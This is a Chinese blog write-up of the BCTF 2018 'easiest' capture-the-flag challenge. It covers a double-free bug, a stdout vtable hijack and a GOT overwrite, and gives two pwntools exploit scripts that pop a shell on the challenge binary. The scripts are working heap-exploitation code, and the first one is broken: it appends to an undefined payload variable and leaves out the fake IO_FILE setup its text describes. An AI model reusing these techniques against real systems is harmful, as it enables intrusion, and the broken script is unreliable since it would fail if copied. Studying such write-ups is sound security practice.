BCTF2018 easiest writeup

并没有参加这次bctf,只有事后看看题目,这道题目不算难,不过还是学到了一些以前不是很清楚的东西,所以记录一下。

题目描述

题目来源: BCTF 2018
知识点:fastbin_attack、IO_FILE

题目提供的功能非常简单,只有add和delete

1
2
3
4
5
6
int menu()
{
puts("HI!");
puts("1 add ");
return puts("2 delete ");
}

保护情况:

1
2
3
4
5
6
[*] '/home/hgy/pwn/bctf2018/easiest/easiest'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞情况

1
2
3
4
5
6
7
8
9
10
11
12
13
int remove()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("(0-11):");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 11 )
exit(1);
free(ptr[v1]);
return puts("delete success !");
}

在remove时,没有清空ptr指针,存在double free。

1
2
3
4
int sub_400946()
{
return system("/bin/sh");
}

还有一个后门函数。。

利用过程

因为没有输出功能,所以泄露libc十分困难,改malloc_hook之类的估计是不行了。
所以把目标转移到GOT表,这里有两种方法,一种是通过改GOT表的值,一种是改stdout指针

要点

劫持stdout指针


0x602082的值可以充当size
改写stdout指针,使vtable的地址在我们的预先分配好的chunk处,并预先在chunk中伪造好vtable,将__xsputn对应偏移处写入后门函数的地址。
这样,当调用printf时,最终会调用__xsputn,而执行后门函数

  1. IO_FILE结构体中_lock的值必须是可写的地址
  2. mode的值需要为0

劫持GOT表


0x60204d的值可以充当size,因为size只检查低4个字节。
然后用system的地址往后覆写掉strtol函数的got表就行了

EXP1

劫持stdout指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p = process('./easiest')

elf = ELF('./easiest')

def add(index, size, content):
p.recvuntil('2 delete \n')
p.sendline('1')
p.recvuntil('(0-11):')
p.sendline(str(index))
p.recvuntil('Length:')
p.sendline(str(size))
p.recvuntil('C:')
p.sendline(content)

def remove(index):
p.recvuntil('2 delete \n')
p.sendline('2')
p.recvuntil('(0-11):')
p.sendline(str(index))

shell = 0x400946
fake_chunk = 0x60207a
ptr = 0x6020c0

add(8, 0x40, p64(shell)*8)
add(1, 0x30, p64(0xdeadbeef))
add(2, 0x30, p64(0xdeadbeef))
add(3, 0x30, p64(0xdeadbeef))
remove(1)
remove(2)
remove(1)

add(4, 0x30, p64(fake_chunk))
add(9, 0x30, p64(0))
payload += "\x00"*0x16 #padding
payload += p64(ptr - 0xd8 + 8 * 0x8)

add(6, 0x30, p64(fake_chunk))

add(10, 0x30, payload)

p.sendline("aaa")

p.interactive()

EXP2

劫持GOT表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p = process('./easiest')
elf = ELF('./easiest')

def add(index, size, content):
p.recvuntil('2 delete \n')
p.sendline('1')
p.recvuntil('(0-11):')
p.sendline(str(index))
p.recvuntil('Length:')
p.sendline(str(size))
p.recvuntil('C:')
p.sendline(content)

def remove(index):
p.recvuntil('2 delete \n')
p.sendline('2')
p.recvuntil('(0-11):')
p.sendline(str(index))

fake_chunk = 0x602045

add(1, 0x60, p64(0xdeadbeef))
add(2, 0x60, p64(0xdeadbeef))
add(3, 0x60, p64(0xdeadbeef))
remove(1)
remove(2)
remove(1)

add(4, 0x60, p64(fake_chunk))
add(9, 0x60, p64(0))
payload = "\x00" * 0xb #padding
payload += p64(elf.symbols['system'])

add(6, 0x60, p64(fake_chunk))
add(10, 0x68, payload)

p.sendline('/bin/sh')

p.interactive()

相关链接

二进制文件:easiest

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/aaf4d161.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏